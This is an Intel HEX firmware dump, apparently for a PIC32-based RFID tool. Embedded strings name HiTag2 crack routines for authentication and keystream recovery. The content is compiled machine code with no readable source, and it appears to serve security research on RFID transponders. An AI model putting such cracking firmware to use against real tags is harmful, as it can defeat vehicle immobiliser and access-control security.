:108ba8006e6f7420676574205549442028326e64be
:108bb8002074696d65290d0a0000000068697461f8
:108bc8006732637261636b5f73656e645f6175744e
:108bd800683a0d0a2074782f7278206e72617220bc
:108be8006661696c65640d0a00000000686974615b
:108bf8006732637261636b5f636f6e73756d655f18
:108c08006b657973747265616d3a0d0a20636f6ed6
:108c18006c656e203c2031300d0a00006869746173
:108c28006732637261636b5f636f6e73756d655fe7
:108c38006b657973747265616d3a0d0a2074782fcb
:108c4800727820636d64206661696c65640d0a0042
:108c5800686974616732637261636b5f636f6e73b7
:108c6800756d655f6b657973747265616d3a0d0a30
:108c780020676f74206572726f7220726573706fef
:108c88006e73652066726f6d20636172640d0a00f1
:108c9800686974616732637261636b5f6578746574
:108ca8006e645f6b657973747265616d3a0d0a2045
:108cb800636d646c656e203c2031300d0a00000045
:108cc800686974616732637261636b5f6578746544
:108cd8006e645f6b657973747265616d3a0d0a2015
:108ce80074782f727820636d64206661696c65649e
:108cf8000d0a0000686974616732637261636b5fb3
:108d0800657874656e645f6b657973747265616d9f
:108d18003a0d0a20676f74206572726f722072654f
:108d280073706f6e73652066726f6d206361726415
:108d38000d0a000058585858585858580000000054
:108d480025643a20000000002573000068697461fa
:108d580067325f66696e645f7461673a20636f7536
:108d68006e7420697320696e76616c69640d0a00ff
:108d7800496e76616c6964204e564d20636f756e3e
:108d88007465720d0a000000256420746167732001
:108d980073746f7265640d0a000000004e6f2048fe
:108da800695461673220746167732073746f7265e8
:108db800640d0a00496e76616c69642074616720ed
:108dc80073656c656374696f6e0d0a005461672082
:0c8dd8006e756d6265722025640d0a0046
:020000040000fa
:020000041d04d9
:108de400e8ffbd271400bfaf1000beaf21f0a00301
:108df400079d023cffdf443400a0023cdc564524be
:108e0400fc00062400a0023c5c4547246e4d410f43
:108e140000000000079d023cfbe0443400a0023c3b
:108e2400d85745240812062400a0023c5c45472478
:108e34006e4d410f000000009923410f0000000017
:108e44000100422cff00423021e8c0031400bf8f10
:108e54001000be8f1800bd270800e00300000000ca
:108e6400e8ffbd271400bfaf1000beaf21f0a00380
:108e740000a0023cdc564424079d023cffdf45343d
:108e8400fc0006240954410f0000000004004010b7
:108e94000000000001000224b623410b0000000082
:108ea40000a0023cd8574424079d023cfbe0453413
:108eb400081206240954410f000000000400401069
:108ec4000000000001000224b623410b0000000052
:108ed4002110000021e8c0031400bf8f1000be8fd2
:108ee4001800bd270800e00300000000e8ffbd27cc
:108ef4001400bfaf1000beaf21f0a00300a0023cdd
:108f0400dc564424079d023cffdf4534fc00062464
:108f1400214b410f0000000000a0023cdc56442419
:108f2400059d023ca0eb4524070006240954410f8b
:108f340000000000180040100000000000a0023ce7
:108f4400dc56442421280000fc0006247152410f01
:108f54000000000000a0023c4944033c5246633434
:108f6400dc5643acdc5643246c650424040064a43e
:108f7400dc56422472000324060043a07923410fe7
:108f840000000000be9d400f000000002110000002
:108f9400ef23410b0000000000a0023cd8574424fa
:108fa400079d023cfbe0453408120624214b410f87
:108fb400000000000100022421e8c0031400bf8f58
:108fc4001000be8f1800bd270800e0030000000059
:108fd400e0ffbd271c00bfaf1800beaf21f0a00307
:108fe400079d023cffdf42341000c2af0524410b51
:108ff400000000001000c28f21204000b058410f33
:10900400000000001000c28f001042241000c2af04
:109014001000c38f079d023cfbe042342b1062001a
:10902400f4ff40140000000021e8c0031c00bf8fbf
:109034001800be8f2000bd270800e00300000000d8
:10904400e8ffbd271400bfaf1000beaf21f0a0039e
:10905400059d023ca8eb4424059d023caceb452451
:109064000413410f0000000000a0023cdc5642241f
:10907400870042902118400000a0023c80180300a1
:109084004c714224211062000000428c059d033c77
:10909400c4eb6424212840000413410f00000000a5
:1090a40000a0023cdc5642249c00428c059d033cfb
:1090b400e0eb6424212840006913410f0000000004
:1090c40000a0023cdc564224a0004290211840003b
:1090d40000a0023c80180300a87142242110620001
:1090e4000000428c059d033cfceb642421284000d5
:1090f4000413410f0000000000a0023cdc5642248f
:10910400cc00438c00a0023c801803001c004224c5
:10911400211062000000428c059d033c18ec64247d
:10912400212840000413410f0000000000a0023c6d
:10913400dc564224c400438c00a0023c8018030087
:109144001c004224211062000000428c059d033c57
:1091540034ec6424212840000413410f0000000073
:1091640000a0023cdc564224c800438c00a0023c10
:10917400801803001c004224211062000000428c6d
:10918400059d033c50ec6424212840000413410f46
:109194000000000000a0023cdc564224a400428ce3
:1091a400059d033c6cec6424212840006913410fa5
:1091b4000000000000a0023cdc564224a800428cbf
:1091c400059d033c88ec6424212840006913410f69
:1091d4000000000000a0023cdc564224ac00428c9b
:1091e400059d033ca4ec6424212840006913410f2d
:1091f4000000000000a0023cdc564224b000428c77
:10920400059d033cc0ec6424212840006913410ff0
:109214000000000000a0023cdc564224b400428c52
:10922400059d033cdcec6424212840006913410fb4
:109234000000000000a0023cdc564224b800428c2e
:10924400059d033cf8ec6424212840006913410f78
:109254000000000000a0023cdc564224bc00429006
:10926400059d033c14ed6424212840006913410f3b
:109274000000000000a0023cdc564224bd004290e5
:10928400059d033c30ed6424212840006913410fff
:109294000000000000a0023cdc564224be004290c4
:1092a400059d033c50ed6424212840006913410fbf
:1092b4000000000000a0023cdc564224bf004290a3
:1092c400059d033c70ed6424212840006913410f7f
:1092d4000000000000a0023cdc564224c000429082
:1092e400059d033c90ed6424212840006913410f3f
:1092f4000000000000a0023cdc564224d800428c4e
:10930400059d033cb0ed6424212840006913410ffe
:109314000000000000a0023cdc564224dc00428c29
:10932400059d033ccced6424212840006913410fc2
:109334000000000000a0023cdc5642248800428c5d
:10934400059d033ce8ed6424212840006913410f86
:109354000000000000a0023cdc564224d400428cf1
:10936400059d033c04ee6424212840006913410f49
:109374000000000000a0023cdc5642248c00428c19
:10938400059d033c20ee6424212840006913410f0d
:109394000000000000a0023cdc564224e000428ca5
:1093a400059d033c3cee6424212840006913410fd1
:1093b4000000000000a0023cdc564224ec00428c79
:1093c400059d033c58ee6424212840006913410f95
:1093d4000000000000a0023cdc564224f000428c55
:1093e400059d033c74ee6424212840006913410f59
:1093f4000000000000a0023cdc564224e400428c41
:10940400059d033c90ee6424212840006913410f1c
:109414000000000000a0023cdc564224e800428c1c
:10942400059d033cacee6424212840006913410fe0
:109434000000000000a0023cdc564224f800428cec
:10944400059d033cc8ee6424212840006913410fa4
:109454000000000000a0023cdc564224f400428cd0
:10946400059d033ce4ee6424212840006913410f68
:109474000000000000a0023cdc5642249000428c14
:10948400059d033c00ef6424212840006913410f2b
:109494000000000000a0023cdc5642249400428cf0
:1094a400059d033c1cef6424212840006913410fef
:1094b4000000000000a0023cdc5642249800438ccb
:1094c40000a0023c80180300240042242110620002
:1094d4000000428c059d033c38ef642421284000a1
:1094e4000413410f0000000021e8c0031400bf8fe3
:1094f4001000be8f1800bd270800e0030000000024
:10950400f8ffbd270400beaf21f0a0030800c4afdc
:109514002110a0000c00c2a30c00c293f9ff422446
:109524000c00432c2d006010000000008018020085
:10953400059d023c4c954224211062000000428c9f
:1095440008004000000000009495049dac95049d23
:10955400e095049dc495049de095049de095049dcb
:10956400e095049de095049de095049dcc95049db3
:10957400e095049d7c95049d0800c28f040003249b
:10958400000043ac010002247925410b00000000d7
:109594000800c28f01000324000043ac0100022430
:1095a4007925410b000000000800c28f030003244a
:1095b400000043ac010002247925410b00000000a7
:1095c4000800c28f000040ac0800c28f000040ac0d
:1095d400010002247925410b000000002110000045
:1095e40021e8c0030400be8f0800bd270800e00383
:1095f40000000000f8ffbd270400beaf21f0a00367
:109604000800c4af2110a0000c00c2a30c00c29338
:10961400f9ff42240c00432c3200601000000000cb
:1096240080180200059d023c4096422421106200ed
:109634000000428c08004000000000008896049d51
:10964400a096049de896049db896049de896049d12
:10965400e896049de896049de896049de896049d8a
:10966400d096049de896049d7096049d0800c28fd0
:1096740005000324000043ac01000224bb25410b78
:10968400000000000800c28f04000324000043ac63
:1096940001000224bb25410b000000000800c28f1a
:1096a40004000324000043ac01000224bb25410b49
:1096b400000000000800c28f01000324000043ac36
:1096c40001000224bb25410b000000000800c28fea
:1096d40001000324000043ac01000224bb25410b1c
:1096e400000000002110000021e8c0030400be8f28
:1096f4000800bd270800e00300000000f8ffbd27b4
:109704000400beaf21f0a0030800c4af2110a000e4
:109714000c00c2a30c00c2930a00032418004310d7
:10972400000000000b004328060060100000000049
:10973400080003240c00431000000000ed25410b39
:109744000000000010000324130043100000000078
:10975400120003241600431400000000211000002e
:10976400ee25410b000000000800c28f0100032415
:10977400000043ac01000224ee25410b0000000070
:109784000800c28f07000324000043ac0100022438
:10979400ee25410b000000000800c28f07000324df
:1097a400000043ac01000224ee25410b0000000040
:1097b4002110000021e8c0030400be8f0800bd276b
:1097c4000800e00300000000f8ffbd270400beaf5e
:1097d40021f0a0030800c4af2110a0000c00c2a314
:1097e4000c00c29308000324090043100000000089
:1097f400120003240c004314000000000800c28f70
:10980400000040ac010002240c26410b00000000c3
:109814000800c28f02000324000043ac01000224ac
:109824000c26410b000000002110000021e8c003b9
:109834000400be8f0800bd270800e00300000000fc
:10984400e0ffbd271c00bfaf1800beaf21f0a0038e
:109854002000c4af2110a0002400c2a32400c2939e
:109864001000c32721206000212840004125410f1a
:10987400000000000b004010000000001000c28f28
:10988400211840001000c28f2000c48f21286000de
:1098940021304000a444410f000000002b26410b5e
:1098a400000000002110000021e8c0031c00bf8f4d
:1098b4001800be8f2000bd270800e0030000000050
:1098c400e0ffbd271c00bfaf1800beaf21f0a0030e
:1098d4002000c4af2110a0002400c2a32400c2931e
:1098e4001000c3272120600021284000c025410f1b
:1098f400000000000b004010000000001000c28fa8
:10990400211840001000c28f2000c48f212860005d
:1099140021304000a444410f000000004b26410bbd
:10992400000000002110000021e8c0031c00bf8fcc
:109934001800be8f2000bd270800e00300000000cf
:10994400e0ffbd271c00bfaf1800beaf21f0a0038d
:109954002000c4af2110a0002400c2a32400c2939d
:109964001000c3272120600021284000f325410f67
:10997400000000000b004010000000001000c28f27
:10998400211840001000c28f2000c48f21286000dd
:1099940021304000a444410f000000006b26410b1d
:1099a400000000002110000021e8c0031c00bf8f4c
:1099b4001800be8f2000bd270800e003000000004f
:1099c400e8ffbd271400bfaf1000beaf21f0a00315
:1099d4001800c4af2118a0002110c0001c00c3a3ac
:1099e4002000c2a32000c2930a0003241d004310d8
:1099f400000000000b004328060060100000000077
:109a0400080003241000431000000000a826410ba6
:109a1400000000001000032419004310000000009f
:109a2400120003241d004314000000001c00c29314
:109a34001800c48f212840004ee1400f00000000b0
:109a4400a926410b000000001c00c2931800c48f1b
:109a5400212840001cb3400f00000000a926410b40
:109a6400000000001c00c2931800c48f212840008d
:109a740091d2400f00000000a926410b0000000015
:109a84001c00c2931800c48f212840009ee6400f9a
:109a940000000000a926410b000000002110000076
:109aa40021e8c0031400bf8f1000be8f1800bd272b
:109ab4000800e00300000000e8ffbd271400bfaf6a
:109ac4001000beaf21f0a0031800c4af1c00c5af46
:109ad4002000c6af2110e0002400c2a32400c293da
:109ae4000a0003241c004310000000000b0043285c
:109af4000600601000000000080003240f0043105b
:109b040000000000e326410b0000000010000324c5
:109b14001700431000000000120003241a0043142d
:109b2400000000001800c48f2000c58fb2df400f72
:109b340000000000e426410b000000001800c48f60
:109b44001c00c58f2000c68f33b4400f00000000f6
:109b5400e426410b000000001800c48f1c00c58fd0
:109b640022d1400f00000000e426410b0000000059
:109b74001800c48f1c00c58f13e4400f00000000c0
:109b8400e426410b000000002110000021e8c0037e
:109b94001400bf8f1000be8f1800bd270800e0031b
:109ba4000000000088ffbd277400bfaf7000beaf87
:109bb4006c00b2af6800b1af6400b0af21f0a00395
:109bc4007800c4af88bf023c2061428c010042305f
:109bd4000300401400000000a427410b0000000013
:109be4001c00c22721204000300005244000062428
:109bf4007152410f000000005c00c0a37800c48fc4
:109c04007b4b410f000000001100422c2500401442
:109c140000000000040002241a00c2a31800c0a31c
:109c24007800c48f7b4b410f00000000ff004230de
:109c3400ffff42241900c2a32127410b00000000aa
:109c44001800c2933f000324231062001900c39339
:109c54007800c48f21188300000063901800c42783
:109c640021108200040043a01800c2930100422482
:109c74001800c2a31900c293ffff42241900c2a313
:109c84001800d2937800c48f7b4b410f0000000072
:109c94002b104202eaff4014000000003927410b58
:109ca40000000000010002241a00c2a37800c48f3f
:109cb4007b4b410f00000000ff00423001004230a6
:109cc4001900c2a31900c2931c00c327211062000b
:109cd400212040007800c58f574a410f0000000042
:109ce4001900c0a37b27410b000000001900c29398
:109cf400c018020000a0023c806f422421186200b8
:109d04001900c293001102001c00c4272110820014
:109d1400212060002128400051b8400f00000000bd
:109d2400040040140000000021100000a427410b8f
:109d3400000000001800c0a37427410b00000000bd
:109d44001800c3931900c2938011020021306200ed
:109d54001900c39300a0023cc0180300806f422482
:109d6400211062000400438c0000428c1800c4934c
:109d74003f0005242320a400200085302138000062
:109d840040480300ffff08242640880004400901de
:109d94000680820025801001068883000b8025023e
:109da4000b88e500ff00023201004230ff0043301f
:109db40000a0023ca06f42242110c200000043a076
:109dc4001800c293010042241800c2a31800c293d1
:109dd4004000422cdaff4014000000001900c29336
:109de400010042241900c2a31900c3931a00c293ac
:109df4002b106200bdff4014000000001a00c39342
:109e04000100022406006214000000001800c0a330
:109e1400400002241900c2a38d27410b000000005a
:109e2400200002241800c2a3e0ff02241900c2a3e8
:109e34001800c39300a0023ca06f422421206200ba
:109e44001900c59300a0023cdc5642249c00438cbc
:109e540000a0023cdc564224a400428c00a0063c34
:109e6400dc56c624a800c78c00a0063cdc56c624d9
:109e7400d400c68c1000a7af1400a6af2130600038
:109e840021384000a607410f0000000021e8c0036c
:109e94007400bf8f7000be8f6c00b28f6800b18fea
:109ea4006400b08f7800bd270800e00300000000c4
:109eb400d8ffbd272400bfaf2000beaf21f0a00310
:109ec4002800c4af2800c48fb008410f0000000070
:109ed40008004010000000002800c48f7b4b410f95
:109ee4000000000021184000100002240400621049
:109ef40000000000211000004828410b0000000071
:109f04002800c28f0f004224000043903500022431
:109f14000a006210000000002800c28f0f004224d3
:109f2400000043904400022404006210000000007a
:109f3400211000004828410b000000002800c28fb7
:109f44000e004224000043903000022416006210e8
:109f5400000000002800c28f0e004224000043903d
:109f64003100022410006210000000002800c28f9b
:109f74000e00422400004390380002240a006210bc
:109f8400000000002800c28f0e004224000043900d
:109f940039000224040062100000000021100000b7
:109fa4004828410b000000001400c0af1000c0afef
:109fb4003e28410b000000001400c28f2800c38f0c
:109fc40021106200000042906100422c10004014f5
:109fd400000000001400c28f2800c38f211062000b
:109fe400000042906700422c09004010000000006d
:109ff4001400c28f2800c38f211062000000429019
:10a00400a9ff42241800c2af3428410b000000000d
:10a014001400c28f2800c38f2110620000004290f8
:10a024003000422c10004014000000001400c28fc5
:10a034002800c38f21106200000042903a00422c95
:10a0440009004010000000001400c28f2800c38fd4
:10a054002110620000004290d0ff42241800c2afd9
:10a064003428410b000000001400c28f2800c38f65
:10a0740021106200000042904100422c1000401464
:10a08400000000001400c28f2800c38f211062005a
:10a09400000042904700422c0900401000000000dc
:10a0a4001400c28f2800c38f211062000000429068
:10a0b400c9ff42241800c2af3428410b000000003d
:10a0c400211000004828410b000000001800c28f36
:10a0d400212040004558410f000000001000c38fac
:10a0e400211062001000c2af1400c28f010042248c
:10a0f4001400c2af1400c28f10004228aeff4014f7
:10a10400000000001000c38fc3170300c217020031
:10a1140021186200010063302310620021e8c003ab
:10a124002400bf8f2000be8f2800bd270800e00355
:10a1340000000000e8ffbd271400bfaf1000beaf51
:10a1440021f0a0031800c4af1c00c5af1c00c28fcf
:10a1540000004280040040140000000021100000b0
:10a164006028410b000000001800c48f1c00c58f3c
:10a17400574a410f000000000100022421e8c003f7
:10a184001400bf8f1000be8f1800bd270800e00325
:10a1940000000000e8ffbd271400bfaf1000beaff1
:10a1a40021f0a0031800c4af1800c48fb008410ff9
:10a1b4000000000021e8c0031400bf8f1000be8f10
:10a1c4001800bd270800e00300000000e8ffbd27d9
:10a1d4001400bfaf1000beaf21f0a0031800c4af3d
:10a1e4001c00c5af1c00c28f000042800400401454
:10a1f40000000000211000008628410b0000000030
:10a204001800c48f1c00c58f574a410f000000007e
:10a214000100022421e8c0031400bf8f1000be8f88
:10a224001800bd270800e00300000000e8ffbd2778
:10a234001400bfaf1000beaf21f0a0031800c4afdc
:10a244001c00c5af1800c48f1c00c58f6629410fc0
:10a254000000000008004010000000001800c48f37
:10a264001800c58f6000062447b9400f00000000a5
:10a27400a028410b000000002110000021e8c003c9
:10a284001400bf8f1000be8f1800bd270800e00324
:10a294000000000068ffbd279400bfaf9000beaf70
:10a2a4008c00b0af21f0a0039800c4af9c00c5aff0
:10a2b4001400c227212040009c00c58fcbb8400f5a
:10a2c4000000000004004014000000002110000001
:10a2d4005f29410b000000001000c0a3c628410bf9
:10a2e400000000001000c2931000c3272110620078
:10a2f40004004290040040100000000021100000ff
:10a304005f29410b000000001000c29301004224a9
:10a314001000c2a31000c2930400422cf1ff4014a9
:10a32400000000001400c3271400c22704004224c4
:10a3340021206000212840005c000624214b410fad
:10a3440000000000010002241000c2a3ff28410bfa
:10a35400000000001000c29380100200ffff42249e
:10a364001000c32721106200040050901000c29313
:10a37400ffff4224801002001400c3272110620052
:10a38400212040000100052403000624e3bc400f03
:10a394000000000004000212000000002110000070
:10a3a4005f29410b000000001000c293ffff43240b
:10a3b4002110600040100200211043001400c32744
:10a3c400211862001000c293ffff42248010020093
:10a3d4001400c4272110820021206000212840009d
:10a3e40003000624214b410f000000001000c2931b
:10a3f400010042241000c2a31000c2931700422c93
:10a40400d4ff4014000000001400c3271400c22726
:10a414000300422421206000212840004200062439
:10a42400214b410f000000007400c3271400c22711
:10a4340021206000212840000800062447b9400f6d
:10a44400000000007400c22721204000059d023c4a
:10a45400e05e4524544e410f00000000040040100b
:10a4640000000000211000005f29410b00000000e3
:10a474001400c3271400c2270800422421206000ce
:10a48400212840003a000624214b410f000000001f
:10a494001400d0931400c22701004224212040005c
:10a4a400212800000c000624e3bc400f000000003b
:10a4b4000400021200000000211000005f29410b7b
:10a4c400000000002d00d0931400c2270d00422488
:10a4d40021204000010005240c000624e3bc400fa9
:10a4e400000000000400021200000000211000001f
:10a4f4005f29410b000000007400c3271400c22729
:10a504000100422421206000212840001800062474
:10a5140047b9400f00000000040040140000000090
:10a52400211000005f29410b000000007400c427c3
:10a534007c00c3278000c227059d053ce45ea5245a
:10a5440021306000213840000357410f0000000013
:10a554007c00c38f8000c28f9800c48f059d053c8a
:10a56400ec5ea5242130600021384000e455410f01
:10a57400000000000100022421e8c0039400bf8f02
:10a584009000be8f8c00b08f9800bd270800e003b8
:10a5940000000000b0ffbd274c00bfaf4800beafb5
:10a5a4004400b0af21f0a0035000c4af5400c5afc5
:10a5b4005400c48f7b4b410f000000002118400061
:10a5c40008000224040062100000000021100000b2
:10a5d400fa29410b000000003800c2275400c48f40
:10a5e400059d033cf85e6524213040000357410f6c
:10a5f400000000003800c28f1c00c3272120600027
:10a60400059d033c005f652421304000e455410f63
:10a61400000000001400c3271c00c2272120600092
:10a624002128400002000624214b410f00000000b5
:10a634005400c28f030043243800c2272120600045
:10a64400059d033c085f6524213040000357410ffa
:10a65400000000003800c28f1c00c32721206000c6
:10a66400059d033c105f652421304000e455410ff3
:10a67400000000001400c227020043241c00c2276b
:10a68400212060002128400005000624214b410fb1
:10a69400000000001c00c227010043241400c2274c
:10a6a4002120600021284000cbb8400f00000000aa
:10a6b4001c00c3271c00c227010042242120600083
:10a6c40021284000180006242ef8400f0000000046
:10a6d4005000c48f21280000600006247152410fed
:10a6e400000000005000c48f059d023c185f452403
:10a6f400cbb8400f000000001000c0a312000224d9
:10a704001100c2a3da29410b000000001100c2931a
:10a714000100422403004230040040140000000001
:10a724001100c293010042241100c2a31100c2937c
:10a734005000c38f211062001000c3931000c4277f
:10a74400211883000c006390000043a01000c29302
:10a75400010042241000c2a31100c293010042244c
:10a764001100c2a31000c2931a00422ce7ff401448
:10a7740000000000010002241000c2a3f529410bcf
:10a78400000000001000c293010042248010020067
:10a79400ffff42245000c38f218062001000c29347
:10a7a400801002005000c38f21106200212040005d
:10a7b4000100052403000624e3bc400f0000000050
:10a7c400000002a21000c293010042241000c2a3a0
:10a7d4001000c2931800422ceaff4014000000004d
:10a7e4000100022421e8c0034c00bf8f4800be8f43
:10a7f4004400b08f5000bd270800e00300000000b3
:10a80400e8ffbd271400bfaf1000beaf21f0a003c6
:10a814001800c4af1800c48f212800006ef9400f3f
:10a824000000000021e8c0031400bf8f1000be8f99
:10a834001800bd270800e00300000000c8ffbd2782
:10a844003400bfaf3000beaf21f0a0032118800058
:10a854002110a0004000c6af4400c7af3800c3a316
:10a864003c00c2a34000c28f220040100000000040
:10a874003800c3933c00c29325106200ff004230ad
:10a884001800c2af1800c28f001202001800c2af35
:10a894004400c28fff0342301800c38f25106200aa
:10a8a4001800c2af2000c2274800c38f1000a3af16
:10a8b4002400c3271400a3af1800c48ffe0005248e
:10a8c4002130000021384000a843410f000000005f
:10a8d4001c00c2af2400c28fff0043304c00c28f63
:10a8e400000043a01c00c28fff004230512a410bdc
:10a8f400000000004400c28fff0042302800c2a3c1
:10a904003800c3933c00c29325106200ff0042301c
:10a91400211840002800c2274800c48f1000a4afab
:10a924004c00c48f1400a4af21206000ff00052454
:10a934004000c68f213840006443410f00000000ee
:10a9440021e8c0033400bf8f3000be8f3800bd271c
:10a954000800e00300000000d8ffbd272400bfafbb
:10a964002000beaf21f0a0032800c4af1800c0af80
:10a974001000a0af2800c28f1400a2af0c00042462
:10a9840050000524010006241800c78f102a410f27
:10a994000000000021e8c0032400bf8f2000be8f08
:10a9a4002800bd270800e00300000000d8ffbd27f1
:10a9b4002400bfaf2000beaf21f0a003211080000f
:10a9c4002c00c5af2800c2a31800c0af2800c29352
:10a9d4000500401000000000100002242800c2a35b
:10a9e4007c2a410b000000002800c0a32800c29369
:10a9f4001000a0af2c00c38f1400a3af04000424e4
:10aa040021284000213000001800c78f102a410f70
:10aa14000000000021e8c0032400bf8f2000be8f87
:10aa24002800bd270800e00300000000d8ffbd2770
:10aa34002400bfaf2000beaf21f0a003211080008e
:10aa44002c00c5af2800c2a31800c0af2800c293d1
:10aa54000500401000000000100002242800c2a3da
:10aa64009c2a410b000000002800c0a32800c293c8
:10aa74001000a0af2c00c38f1400a3af080004245f
:10aa840021284000213000001800c78f102a410ff0
:10aa94000000000021e8c0032400bf8f2000be8f07
:10aaa4002800bd270800e00300000000d8ffbd27f0
:10aab4002400bfaf2000beaf21f0a0032118800006
:10aac4002110a0003000c6af2800c3a32c00c2a3ed
:10aad4001800c0af2800c2930c0040100000000012
:10aae4002c00c29305004010000000003000022436
:10aaf4002800c2a3cc2a410b00000000100002244d
:10ab04002800c2a3cc2a410b000000002c00c293f1
:10ab14000500401000000000200002242800c2a309
:10ab2400cc2a410b000000002800c0a32800c293d7
:10ab34001000a0af3000c38f1400a3af0c00042496
:10ab440021284000010006241800c78f102a410f55
:10ab54000000000021e8c0032400bf8f2000be8f46
:10ab64002800bd270800e00300000000e0ffbd2727
:10ab74001c00bfaf1800beaf21f0a0032118800055
:10ab84002110a0002800c6af2c00c7af2000c3a32b
:10ab94002400c2a32000c2930c0040100000000057
:10aba4002400c2930500401000000000300002247d
:10abb4002000c2a3fc2a410b000000001000022464
:10abc4002000c2a3fc2a410b000000002400c29311
:10abd4000500401000000000200002242000c2a351
:10abe400fc2a410b000000002000c0a32000c293f7
:10abf4001000a0af2c00c38f1400a3af21200000cd
:10ac040021284000010006242800c78f102a410f84
:10ac14000000000021e8c0031c00bf8f1800be8f95
:10ac24002000bd270800e00300000000e0ffbd276e
:10ac34001c00bfaf1800beaf21f0a003212000000c
:10ac4400212800001000c22721304000ac2a410f07
:10ac54000000000009004014000000001000c2932e
:10ac6400059d033cf4366424212840006913410ff8
:10ac740000000000262b410b000000001000c293ce
:10ac8400059d033c18376424212840006913410fb3
:10ac94000000000001000424212800001000c22745
:10aca40021304000ac2a410f00000000090040148c
:10acb400000000001000c293059d033c403764244b
:10acc400212840006913410f000000003c2b410b78
:10acd400000000001000c293059d033c603764240b
:10ace400212840006913410f0000000021200000ca
:10acf400010005241000c22721304000ac2a410f76
:10ad04000000000009004014000000001000c2937d
:10ad1400059d033c84376424212840006913410fb6
:10ad240000000000522b410b000000001000c293f1
:10ad3400059d033cac376424212840006913410f6e
:10ad44000000000001000424010005241000c227b3
:10ad540021304000ac2a410f0000000009004014db
:10ad6400000000001000c293059d033cd437642406
:10ad7400212840006913410f00000000682b410b9b
:10ad8400000000001000c293059d033cf8376424c2
:10ad9400212840006913410f0000000021e8c0038e
:10ada4001c00bf8f1800be8f2000bd270800e003e1
:04adb400000000009b
:020000040000fa
:020000041d04d9
:10adb800040000a00c00000001000000ffffffffde
:10adc800ffffffff801000a03c0000a0140000005f
:10add80000000000000400a0f213000000000000c2
:10ade8000c7200a02800000000000000500000a025
:10adf8001800000000000000100000a0080000007b
:10ae0800010000007401000001010000680000a0ba
:10ae18001400000000000000f41700a0210000004a
:10ae2800000000007c0000a00400000000000000fa
:10ae3800181800a08000000000000000001a00a000
:10ae4800db02000000000000806f00a02801000065
:10ae580000000000500200a0a40100000100000052
:10ae6800540d029dcc0d029d580e029dac0e029d04
:10ae7800240f029d880f029de40f029d4410029d3d
:10ae88009c10029df410029d4811029da411029d80
:10ae98000012029d5412029db812029d1013029dc9
:10aea8006813029ddc13029d5414029dd014029d68
:10aeb8004015029dcc15029d4816029da416029dc0
:10aec8000017029d6817029dc017029d3418029d45
:10aed800a018029d1819029d8819029de419029d67
:10aee800bc1a029d1c1b029d6c1b029dc81b029d67
:10aef800341c029dac1c029d381d029d9c1d029da8
:10af0800101e029d7c1e029dd01e029d1c1f029dcc
:10af1800701f029dc41f029d2420029d8020029d57
:10af2800ec20029d4421029d9421029de421029d72
:10af38004822029d1c23029da823029d2024029dd5
:10af48009024029de424029d3825029d9025029daf
:10af5800ec25029d4026029d9426029dec26029d2a
:10af68004827029d9c27029df427029d4c28029d9c
:10af7800b028029d1029029d7829029de429029d8e
:10af8800502a029da82a029dfc2a029d642b029d3c
:10af9800b82b029d282c029db42c029d2c2d029dbd
:10afa800842d029dd82d029d302e029d9c2e029d3f
:10afb800042f029d682f029dc82f029d1430029d08
:10afc8006c30029ddc30029d4031029da831029d0b
:10afd8002432029d7032029dc832029d2433029da4
:10afe8007c33029dd833029d3434029d8834029dff
:10aff800dc34029d2435029d9035029df835029d72
:10b0080000000000f06a00a08c04000000000000ae
:10b01800800000a06800000000000000180000a0e8
:10b0280018000000010000005c5500a028ec019dfc
:10b038002cec019d30ec019d34ec019d0cf5019d3b
:10b04800dc1c00a0044d000000000000987200a065
:10b058001c000000010000001a033000310032001b
:10b06800330034003500360037003800390041001d
:10b0780042000000e80000a00400000000000000fa
:10b08800ec0000a004000000000000004c7100a0cb
:10b098007c00000001000000703a059d783a059d8b
:10b0a800803a059d883a059d903a059d983a059df8
:10b0b800a03a059da83a059db03a059db83a059d68
:10b0c800c03a059dc43a059dcc3a059dd83a059de0
:10b0d800e43a059dec3a059df43a059dfc3a059d38
:10b0e800043b059d0c3b059d183b059d1c3b059da0
:10b0f80000000000243b059d2c3b059d343b059d2d
:10b10800343b059d383b059d383b059d383b059de7
:10b1180000000000587200a020000000010000009c
:10b128009806059da406059db406059d9806059def
:10b13800c006059dc806059dd006059dd806059d37
:10b14800f00000a01800000000000000300000a07f
:10b15800080000000100000001000000ff000000de
:10b16800b47200a0100000000100000080c6049d19
:10b1780090c6049da0c6049db0c6049d080100a009
:10b188000400000000000000e06900a010000000ba
:10b1980000000000787200a02000000001000000fc
:10b1a800ecfc049df8fc049d00fd049d08fd049d35
:10b1b80010fd049d18fd049d20fd049d28fd049d9f
:10b1c8000c0100a00400000000000000f06900a0cd
:10b1d800ff00000000000000347200a024000000fe
:10b1e800010000009cf9049da8f9049db0f9049d94
:10b1f800b8f9049dc0f9049dc8f9049dd0f9049dcf
:10b20800d8f9049de0f9049dc87200a01000000060
:10b21800000000007c6f00a0040000000000000097
:10b22800c47200a00400000000000000a87000a084
:10b23800a400000001000000cc7100a00000000084
:10b24800cc7100a00900000020000000ec7100a0f3
:10b2580000000000ec7100a00e02010000000000d8
:10b2680000000000000000000000000006020200cc
:10b2780000000000000000000000000000000000c6
:10b2880000000000000000000000000000000000b6
:10b2980000000000000000000000000000000000a6
:10b2a8000000000000000000000000000000000096
:10b2b8000000000000000000000000000000000086
:10b2c8000000000000000000000000000000000076
:10b2d8000000000000000000a87000a0c87100a0d5
:10b2e8004400000000000000380000a00400000036
:10b2f8000100000002000000f40300a004000000a8
:10b308000000000000000000222222222222222225
:020000040000fa
:020000041d04d9
:10b31800e8ffbd271400bfaf1000beaf21f0a003a7
:10b328001800c4af00a0023cdc56422487004290bb
:10b338001600432c74006010000000008018020002
:10b34800059d023c60b34224211062000000428c3b
:10b35800080040000000000010b5049db8b3049d2b
:10b368001cb4049d1cb4049dacb4049d10b5049d8c
:10b3780010b5049d5cb4049d70b4049df4b3049da1
:10b38800c0b4049d48b4049d84b4049d98b4049d3d
:10b39800e8b4049d08b4049dd4b4049dccb3049dc2
:10b3a800e0b3049d10b5049d34b4049dfcb4049d21
:10b3b8001800c48f1fff400f00000000462d410bee
:10b3c800000000001800c48f012a410f000000008f
:10b3d800462d410b000000001800c48f47de400fc7
:10b3e80000000000462d410b000000001800c48f2b
:10b3f80065db400f00000000462d410b00000000f7
:10b408001800c48fa81b410f00000000462d410bf7
:10b41800000000001800c48f212800006ef9400fba
:10b4280000000000462d410b000000001800c48fea
:10b43800a11d410f00000000462d410b0000000037
:10b448001800c48f583e410f00000000462d410be4
:10b45800000000001800c48fedaa400f0000000093
:10b46800462d410b000000001800c48fb6ad400ff8
